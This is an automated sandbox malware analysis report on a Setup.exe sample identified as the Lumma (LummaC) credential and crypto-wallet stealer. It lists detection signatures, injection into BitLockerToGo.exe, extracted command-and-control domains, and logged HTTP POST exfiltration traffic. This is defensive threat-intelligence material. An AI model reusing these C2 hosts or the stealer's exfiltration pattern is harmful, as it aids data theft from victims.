Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1542816
MD5:	b159bfa7381138c176f2cd07b86c4588
SHA1:	1cf2077676782c8275c480a3e38a1413edc65860
SHA256:	8ba0468886223bcecdae4375c0d0905cef418a4731e85101f0ce6b3706742325
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Setup.exe (PID: 7100 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: B159BFA7381138C176F2CD07B86C4588)

BitLockerToGo.exe (PID: 3848 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["ostracizez.sbs", "activedomest.sbs", "offybirhtdi.sbs", "definitib.sbs", "fashionablei.sbs", "arenbootk.sbs", "elaboretib.sbs", "strikebripm.sbs", "mediavelk.sbs"], "Build id": "tLYMe5--2"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2020381510.0000000002995000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1931427754.0000000002981000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1945030827.000000000297F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000003.1930065871.000000000297E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1800435792.000000000B580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1906668887.000000000B62C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1906668887.000000000B62C000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
Process Memory Space: BitLockerToGo.exe PID: 3848	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 3848	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.BitLockerToGo.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.3.Setup.exe.b580000.1.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.3.Setup.exe.b62c000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.BitLockerToGo.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.Setup.exe.b580000.2.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.Setup.exe.b580000.2.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.3.Setup.exe.b580000.1.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:00:25.324279+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-26T16:00:26.497687+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-26T16:00:40.586198+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49745	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:00:25.324279+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49734	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:00:26.497687+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:00:29.426425+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49739	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.3.Setup.exe.b580000.1.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["ostracizez.sbs", "activedomest.sbs", "offybirhtdi.sbs", "definitib.sbs", "fashionablei.sbs", "arenbootk.sbs", "elaboretib.sbs", "strikebripm.sbs", "mediavelk.sbs"], "Build id": "tLYMe5--2"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: offybirhtdi.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: activedomest.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: arenbootk.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mediavelk.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: definitib.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: elaboretib.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: strikebripm.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ostracizez.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: fashionablei.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: offybirhtdi.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: activedomest.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: arenbootk.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mediavelk.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: definitib.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: elaboretib.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: strikebripm.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ostracizez.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: fashionablei.sbs
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tLYMe5--2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_0041D667 CryptUnprotectData,

1_2_0041D667

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: Setup.exe, 00000000.00000002.1902539857.000000000B488000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: Setup.exe, 00000000.00000002.1902539857.000000000B488000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 50DC24C7h	1_2_00446040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+18E26AFFh]	1_2_00423330
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B62B8D10h	1_2_00423330
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	1_2_004464F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_004309A1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_004309A1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esi+ecx+77CF5801h]	1_2_004309A1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	1_2_00426B58
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-411B9734h]	1_2_00420D60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00420D60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], C0A4C970h	1_2_00446E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 9ABDB589h	1_2_0042EE3D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-27h]	1_2_0040FE86
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-27h]	1_2_0040FE86
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+00000106h]	1_2_0040DE90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 9ABDB589h	1_2_00429FE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 30303030h	1_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 20202020h	1_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [edi+34h], 00000001h	1_2_00409006
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	1_2_0042C020
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [esi], cx	1_2_004110D7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	1_2_00422090
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+4E2BFA43h]	1_2_00441100
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+548844AEh]	1_2_00445120
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx+4FFEBE6Ch]	1_2_0040D1F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ebx	1_2_0040D1F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [eax]	1_2_0042F1A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax+ebx], 00000030h	1_2_004012D5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], F2EEECF6h	1_2_0042D3EA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	1_2_0042D3EA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	1_2_0042C390
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edx], al	1_2_00430417
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edi	1_2_004454D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	1_2_00431495
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [00450498h]	1_2_0043D4B8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B62B8D10h	1_2_0043D4B8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_004215AD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 3E416E49h	1_2_00444640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 16194952h	1_2_00444640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_004216C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	1_2_0041C692
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [esi], cx	1_2_0041C692
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	1_2_00425770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	1_2_0042C7DC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esi+20h]	1_2_0042A7E2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	1_2_00405850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edi	1_2_00445800
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ebx	1_2_0041F8A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 3568C09Bh	1_2_0041F8A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ebx], cx	1_2_0041F8A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+ecx+02h], 0000h	1_2_004218B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_00439970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-000000A1h]	1_2_0042D9C5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edi]	1_2_00443A33
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], dl	1_2_0042EAF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00423B40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [eax]	1_2_00423B40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 3602324Eh	1_2_00446B70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebp, word ptr [eax]	1_2_00446B70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [esp+eax*4+000004A8h]	1_2_0040BC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp edx, 02h	1_2_0040BC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	1_2_0042CC5F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+4E2BFA47h]	1_2_0043FC90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+4Ch]	1_2_0042CD09
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_0042DE60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	1_2_00443E80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, ecx	1_2_0041CFDD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edx], al	1_2_00430FFE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+4Ch]	1_2_0042CD09

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49745 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: ostracizez.sbs
Source: Malware configuration extractor	URLs: activedomest.sbs
Source: Malware configuration extractor	URLs: offybirhtdi.sbs
Source: Malware configuration extractor	URLs: definitib.sbs
Source: Malware configuration extractor	URLs: fashionablei.sbs
Source: Malware configuration extractor	URLs: arenbootk.sbs
Source: Malware configuration extractor	URLs: elaboretib.sbs
Source: Malware configuration extractor	URLs: strikebripm.sbs
Source: Malware configuration extractor	URLs: mediavelk.sbs

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 75Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18159Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8780Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20433Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3804Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 3818Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1269Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1116Host: fashionablei.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 110Host: fashionablei.sbs

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fashionablei.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fashionablei.sbs

Source: BitLockerToGo.exe, 00000001.00000003.1959117856.0000000004E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
